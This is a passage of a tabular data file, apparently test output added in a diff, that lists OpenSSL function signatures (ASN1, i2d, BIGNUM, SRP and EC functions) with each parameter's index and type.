*,const void *,EVP_MD_CTX *) | | ASN1_item_sign_ctx | 5 | EVP_MD_CTX * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 1 | X509_ALGOR * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 2 | X509_ALGOR * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 3 | ASN1_BIT_STRING * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 4 | const void * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 5 | EVP_PKEY * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,EVP_PKEY *,const EVP_MD *) | | ASN1_item_sign | 6 | const EVP_MD * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 1 | X509_ALGOR * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 2 | X509_ALGOR * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 3 | ASN1_BIT_STRING * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 4 | const void * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 5 | const ASN1_OCTET_STRING * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 6 | EVP_PKEY * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 7 | const EVP_MD * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 8 | OSSL_LIB_CTX * | +| (const ASN1_ITEM *,X509_ALGOR *,X509_ALGOR *,ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ASN1_item_sign_ex | 9 | const char * | +| (const ASN1_ITEM *,const ASN1_TYPE *) | | ASN1_TYPE_unpack_sequence | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const ASN1_TYPE *) | | ASN1_TYPE_unpack_sequence | 1 | const ASN1_TYPE * | +| (const ASN1_ITEM *,const ASN1_VALUE *) | | ASN1_item_i2d_mem_bio | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const ASN1_VALUE *) | | ASN1_item_i2d_mem_bio | 1 | const ASN1_VALUE * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *) | | ASN1_item_digest | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *) | | ASN1_item_digest | 1 | const EVP_MD * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *) | | ASN1_item_digest | 2 | void * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *) | | ASN1_item_digest | 3 | unsigned char * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *) | | ASN1_item_digest | 4 | unsigned int * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 1 | const EVP_MD * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 2 | void * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 3 | unsigned char * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 4 | unsigned int * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 5 | OSSL_LIB_CTX * | +| (const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *) | | ossl_asn1_item_digest_ex | 6 | const char * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_verify_ctx | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_verify_ctx | 1 | const X509_ALGOR * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_verify_ctx | 2 | const ASN1_BIT_STRING * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_verify_ctx | 3 | const void * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_MD_CTX *) | | ASN1_item_verify_ctx | 4 | EVP_MD_CTX * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *) | | ASN1_item_verify | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *) | | ASN1_item_verify | 1 | const X509_ALGOR * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *) | | ASN1_item_verify | 2 | const ASN1_BIT_STRING * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *) | | ASN1_item_verify | 3 | const void * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,EVP_PKEY *) | | ASN1_item_verify | 4 | EVP_PKEY * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 1 | const X509_ALGOR * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 2 | const ASN1_BIT_STRING * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 3 | const void * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 4 | const ASN1_OCTET_STRING * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 5 | EVP_PKEY * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 6 | OSSL_LIB_CTX * | +| (const ASN1_ITEM *,const X509_ALGOR *,const ASN1_BIT_STRING *,const void *,const ASN1_OCTET_STRING *,EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | ASN1_item_verify_ex | 7 | const char * | +| (const ASN1_ITEM *,const void *) | | ASN1_item_dup | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,const void *) | | ASN1_item_dup | 1 | const void * | +| (const ASN1_ITEM *,void *,ASN1_TYPE **) | | ASN1_TYPE_pack_sequence | 0 | const ASN1_ITEM * | +| (const ASN1_ITEM *,void *,ASN1_TYPE **) | | ASN1_TYPE_pack_sequence | 1 | void * | +| (const ASN1_ITEM *,void *,ASN1_TYPE **) | | ASN1_TYPE_pack_sequence | 2 | ASN1_TYPE ** | +| (const ASN1_NULL *,unsigned char **) | | i2d_ASN1_NULL | 0 | const ASN1_NULL * | +| (const ASN1_NULL *,unsigned char **) | | i2d_ASN1_NULL | 1 | unsigned char ** | +| (const ASN1_OBJECT *) | | OBJ_add_object | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *) | | OBJ_dup | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *) | | OBJ_get0_data | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *) | | OBJ_length | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *) | | OBJ_obj2nid | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *) | | PKCS8_pkey_get0 | 0 | const ASN1_OBJECT ** | +| (const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *) | | PKCS8_pkey_get0 | 1 | const unsigned char ** | +| (const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *) | | PKCS8_pkey_get0 | 2 | int * | +| (const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *) | | PKCS8_pkey_get0 | 3 | const X509_ALGOR ** | +| (const ASN1_OBJECT **,const unsigned char **,int *,const X509_ALGOR **,const PKCS8_PRIV_KEY_INFO *) | | PKCS8_pkey_get0 | 4 | const PKCS8_PRIV_KEY_INFO * | +| (const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *) | | X509_ALGOR_get0 | 0 | const ASN1_OBJECT ** | +| (const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *) | | X509_ALGOR_get0 | 1 | int * | +| (const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *) | | X509_ALGOR_get0 | 2 | const void ** | +| (const ASN1_OBJECT **,int *,const void **,const X509_ALGOR *) | | X509_ALGOR_get0 | 3 | const X509_ALGOR * | +| (const ASN1_OBJECT *,const ASN1_OBJECT *) | | OBJ_cmp | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *,const ASN1_OBJECT *) | | OBJ_cmp | 1 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *,unsigned char **) | | i2d_ASN1_OBJECT | 0 | const ASN1_OBJECT * | +| (const ASN1_OBJECT *,unsigned char **) | | i2d_ASN1_OBJECT | 1 | unsigned char ** | +| (const ASN1_OCTET_STRING *) | | ASN1_OCTET_STRING_dup | 0 | const ASN1_OCTET_STRING * | +| (const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *) | | PKCS12_get0_mac | 0 | const ASN1_OCTET_STRING ** | +| (const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *) | | PKCS12_get0_mac | 1 | const X509_ALGOR ** | +| (const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *) | | PKCS12_get0_mac | 2 | const ASN1_OCTET_STRING ** | +| (const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *) | | PKCS12_get0_mac | 3 | const ASN1_INTEGER ** | +| (const ASN1_OCTET_STRING **,const X509_ALGOR **,const ASN1_OCTET_STRING **,const ASN1_INTEGER **,const PKCS12 *) | | PKCS12_get0_mac | 4 | const PKCS12 * | +| (const ASN1_OCTET_STRING *,const ASN1_OCTET_STRING *) | | ASN1_OCTET_STRING_cmp | 0 | const ASN1_OCTET_STRING * | +| (const ASN1_OCTET_STRING *,const ASN1_OCTET_STRING *) | | ASN1_OCTET_STRING_cmp | 1 | const ASN1_OCTET_STRING * | +| (const ASN1_OCTET_STRING *,unsigned char **) | | i2d_ASN1_OCTET_STRING | 0 | const ASN1_OCTET_STRING * | +| (const ASN1_OCTET_STRING *,unsigned char **) | | i2d_ASN1_OCTET_STRING | 1 | unsigned char ** | +| (const ASN1_PCTX *) | | ASN1_PCTX_get_cert_flags | 0 | const ASN1_PCTX * | +| (const ASN1_PCTX *) | | ASN1_PCTX_get_flags | 0 | const ASN1_PCTX * | +| (const ASN1_PCTX *) | | ASN1_PCTX_get_nm_flags | 0 | const ASN1_PCTX * | +| (const ASN1_PCTX *) | | ASN1_PCTX_get_oid_flags | 0 | const ASN1_PCTX * | +| (const ASN1_PCTX *) | | ASN1_PCTX_get_str_flags | 0 | const ASN1_PCTX * | +| (const ASN1_PRINTABLESTRING *,unsigned char **) | | i2d_ASN1_PRINTABLESTRING | 0 | const ASN1_PRINTABLESTRING * | +| (const ASN1_PRINTABLESTRING *,unsigned char **) | | i2d_ASN1_PRINTABLESTRING | 1 | unsigned char ** | +| (const ASN1_SEQUENCE_ANY *,unsigned char **) | | i2d_ASN1_SEQUENCE_ANY | 0 | const ASN1_SEQUENCE_ANY * | +| (const ASN1_SEQUENCE_ANY *,unsigned char **) | | i2d_ASN1_SEQUENCE_ANY | 1 | unsigned char ** | +| (const ASN1_SEQUENCE_ANY *,unsigned char **) | | i2d_ASN1_SET_ANY | 0 | const ASN1_SEQUENCE_ANY * | +| (const ASN1_SEQUENCE_ANY *,unsigned char **) | | i2d_ASN1_SET_ANY | 1 | unsigned char ** | +| (const ASN1_STRING *) | | ASN1_STRING_dup | 0 | const ASN1_STRING * | +| (const ASN1_STRING *) | | ASN1_STRING_get0_data | 0 | const ASN1_STRING * | +| (const ASN1_STRING *) | | ASN1_STRING_length | 0 | const ASN1_STRING * | +| (const ASN1_STRING *) | | ASN1_STRING_type | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,const ASN1_ITEM *) | | ASN1_item_unpack | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,const ASN1_ITEM *) | | ASN1_item_unpack | 1 | const ASN1_ITEM * | +| (const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_unpack_ex | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_unpack_ex | 1 | const ASN1_ITEM * | +| (const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_unpack_ex | 2 | OSSL_LIB_CTX * | +| (const ASN1_STRING *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *) | | ASN1_item_unpack_ex | 3 | const char * | +| (const ASN1_STRING *,const ASN1_STRING *) | | ASN1_STRING_cmp | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,const ASN1_STRING *) | | ASN1_STRING_cmp | 1 | const ASN1_STRING * | +| (const ASN1_STRING *,unsigned char **) | | i2d_ASN1_PRINTABLE | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,unsigned char **) | | i2d_ASN1_PRINTABLE | 1 | unsigned char ** | +| (const ASN1_STRING *,unsigned char **) | | i2d_DIRECTORYSTRING | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,unsigned char **) | | i2d_DIRECTORYSTRING | 1 | unsigned char ** | +| (const ASN1_STRING *,unsigned char **) | | i2d_DISPLAYTEXT | 0 | const ASN1_STRING * | +| (const ASN1_STRING *,unsigned char **) | | i2d_DISPLAYTEXT | 1 | unsigned char ** | +| (const ASN1_T61STRING *,unsigned char **) | | i2d_ASN1_T61STRING | 0 | const ASN1_T61STRING * | +| (const ASN1_T61STRING *,unsigned char **) | | i2d_ASN1_T61STRING | 1 | unsigned char ** | +| (const ASN1_TIME *) | | ASN1_TIME_dup | 0 | const ASN1_TIME * | +| (const ASN1_TIME *,ASN1_GENERALIZEDTIME **) | | ASN1_TIME_to_generalizedtime | 0 | const ASN1_TIME * | +| (const ASN1_TIME *,ASN1_GENERALIZEDTIME **) | | ASN1_TIME_to_generalizedtime | 1 | ASN1_GENERALIZEDTIME ** | +| (const ASN1_TIME *,time_t *) | | X509_cmp_time | 0 | const ASN1_TIME * | +| (const ASN1_TIME *,time_t *) | | X509_cmp_time | 1 | time_t * | +| (const ASN1_TIME *,tm *) | | ASN1_TIME_to_tm | 0 | const ASN1_TIME * | +| (const ASN1_TIME *,tm *) | | ASN1_TIME_to_tm | 1 | tm * | +| (const ASN1_TIME *,unsigned char **) | | i2d_ASN1_TIME | 0 | const ASN1_TIME * | +| (const ASN1_TIME *,unsigned char **) | | i2d_ASN1_TIME | 1 | unsigned char ** | +| (const ASN1_TYPE *) | | ASN1_TYPE_get | 0 | const ASN1_TYPE * | +| (const ASN1_TYPE *,const ASN1_TYPE *) | | ASN1_TYPE_cmp | 0 | const ASN1_TYPE * | +| (const ASN1_TYPE *,const ASN1_TYPE *) | | ASN1_TYPE_cmp | 1 | const ASN1_TYPE * | +| (const ASN1_TYPE *,unsigned char **) | | i2d_ASN1_TYPE | 0 | const ASN1_TYPE * | +| (const ASN1_TYPE *,unsigned char **) | | i2d_ASN1_TYPE | 1 | unsigned char ** | +| (const ASN1_UNIVERSALSTRING *,unsigned char **) | | i2d_ASN1_UNIVERSALSTRING | 0 | const ASN1_UNIVERSALSTRING * | +| (const ASN1_UNIVERSALSTRING *,unsigned char **) | | i2d_ASN1_UNIVERSALSTRING | 1 | unsigned char ** | +| (const ASN1_UTCTIME *) | | ASN1_UTCTIME_dup | 0 | const ASN1_UTCTIME * | +| (const ASN1_UTCTIME *,unsigned char **) | | i2d_ASN1_UTCTIME | 0 | const ASN1_UTCTIME * | +| (const ASN1_UTCTIME *,unsigned char **) | | i2d_ASN1_UTCTIME | 1 | unsigned char ** | +| (const ASN1_UTF8STRING *,unsigned char **) | | i2d_ASN1_UTF8STRING | 0 | const ASN1_UTF8STRING * | +| (const ASN1_UTF8STRING *,unsigned char **) | | i2d_ASN1_UTF8STRING | 1 | unsigned char ** | +| (const ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_get_choice_selector_const | 0 | const ASN1_VALUE ** | +| (const ASN1_VALUE **,const ASN1_ITEM *) | | ossl_asn1_get_choice_selector_const | 1 | const ASN1_ITEM * | +| (const ASN1_VALUE **,const ASN1_TEMPLATE *) | | ossl_asn1_get_const_field_ptr | 0 | const ASN1_VALUE ** | +| (const ASN1_VALUE **,const ASN1_TEMPLATE *) | | ossl_asn1_get_const_field_ptr | 1 | const ASN1_TEMPLATE * | +| (const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int) | | ASN1_item_ex_i2d | 0 | const ASN1_VALUE ** | +| (const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int) | | ASN1_item_ex_i2d | 1 | unsigned char ** | +| (const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int) | | ASN1_item_ex_i2d | 2 | const ASN1_ITEM * | +| (const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int) | | ASN1_item_ex_i2d | 3 | int | +| (const ASN1_VALUE **,unsigned char **,const ASN1_ITEM *,int,int) | | ASN1_item_ex_i2d | 4 | int | +| (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 0 | const ASN1_VALUE * | +| (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 1 | const ASN1_TEMPLATE * | +| (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 2 | int | +| (const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *) | | ASN1_item_i2d | 0 | const ASN1_VALUE * | +| (const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *) | | ASN1_item_i2d | 1 | unsigned char ** | +| (const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *) | | ASN1_item_i2d | 2 | const ASN1_ITEM * | +| (const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *) | | ASN1_item_ndef_i2d | 0 | const ASN1_VALUE * | +| (const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *) | | ASN1_item_ndef_i2d | 1 | unsigned char ** | +| (const ASN1_VALUE *,unsigned char **,const ASN1_ITEM *) | | ASN1_item_ndef_i2d | 2 | const ASN1_ITEM * | +| (const ASN1_VISIBLESTRING *,unsigned char **) | | i2d_ASN1_VISIBLESTRING | 0 | const ASN1_VISIBLESTRING * | +| (const ASN1_VISIBLESTRING *,unsigned char **) | | i2d_ASN1_VISIBLESTRING | 1 | unsigned char ** | +| (const ASRange *,unsigned char **) | | i2d_ASRange | 0 | const ASRange * | +| (const ASRange *,unsigned char **) | | i2d_ASRange | 1 | unsigned char ** | +| (const AUTHORITY_INFO_ACCESS *,unsigned char **) | | i2d_AUTHORITY_INFO_ACCESS | 0 | const AUTHORITY_INFO_ACCESS * | +| (const AUTHORITY_INFO_ACCESS *,unsigned char **) | | i2d_AUTHORITY_INFO_ACCESS | 1 | unsigned char ** | +| (const AUTHORITY_KEYID *,unsigned char **) | | i2d_AUTHORITY_KEYID | 0 | const AUTHORITY_KEYID * | +| (const AUTHORITY_KEYID *,unsigned char **) | | i2d_AUTHORITY_KEYID | 1 | unsigned char ** | +| (const BASIC_CONSTRAINTS *,unsigned char **) | | i2d_BASIC_CONSTRAINTS | 0 | const BASIC_CONSTRAINTS * | +| (const BASIC_CONSTRAINTS *,unsigned char **) | | i2d_BASIC_CONSTRAINTS | 1 | unsigned char ** | +| (const BIGNUM *) | | BN_dup | 0 | const BIGNUM * | +| (const BIGNUM *) | | BN_get_word | 0 | const BIGNUM * | +| (const BIGNUM *) | | BN_is_negative | 0 | const BIGNUM * | +| (const BIGNUM *) | | BN_num_bits | 0 | const BIGNUM * | +| (const BIGNUM *) | | bn_get_dmax | 0 | const BIGNUM * | +| (const BIGNUM *) | | bn_get_top | 0 | const BIGNUM * | +| (const BIGNUM *) | | bn_get_words | 0 | const BIGNUM * | +| (const BIGNUM *,ASN1_ENUMERATED *) | | BN_to_ASN1_ENUMERATED | 0 | const BIGNUM * | +| (const BIGNUM *,ASN1_ENUMERATED *) | | BN_to_ASN1_ENUMERATED | 1 | ASN1_ENUMERATED * | +| (const BIGNUM *,ASN1_INTEGER *) | | BN_to_ASN1_INTEGER | 0 | const BIGNUM * | +| (const BIGNUM *,ASN1_INTEGER *) | | BN_to_ASN1_INTEGER | 1 | ASN1_INTEGER * | +| (const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_check_prime | 0 | const BIGNUM * | +| (const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_check_prime | 1 | BN_CTX * | +| (const BIGNUM *,BN_CTX *,BN_GENCB *) | | BN_check_prime | 2 | BN_GENCB * | +| (const BIGNUM *,const BIGNUM *) | | BN_ucmp | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *) | | BN_ucmp | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *) | | SRP_Verify_A_mod_N | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *) | | SRP_Verify_A_mod_N | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *) | | SRP_Verify_B_mod_N | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *) | | SRP_Verify_B_mod_N | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,BIGNUM *) | | BN_BLINDING_new | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,BIGNUM *) | | BN_BLINDING_new | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,BIGNUM *) | | BN_BLINDING_new | 2 | BIGNUM * | +| (const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_kronecker | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_kronecker | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,BN_CTX *) | | BN_kronecker | 2 | BN_CTX * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_A | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_A | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_A | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_u | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_u | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_u | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GF2m | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GF2m | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GF2m | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GF2m | 3 | BN_CTX * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GFp | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GFp | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GFp | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *) | | EC_GROUP_new_curve_GFp | 3 | BN_CTX * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_u_ex | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_u_ex | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_u_ex | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_u_ex | 3 | OSSL_LIB_CTX * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_u_ex | 4 | const char * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_B | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_B | 1 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_B | 2 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *) | | SRP_Calc_B | 3 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_Calc_B_ex | 0 | const BIGNUM * | +| (const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX 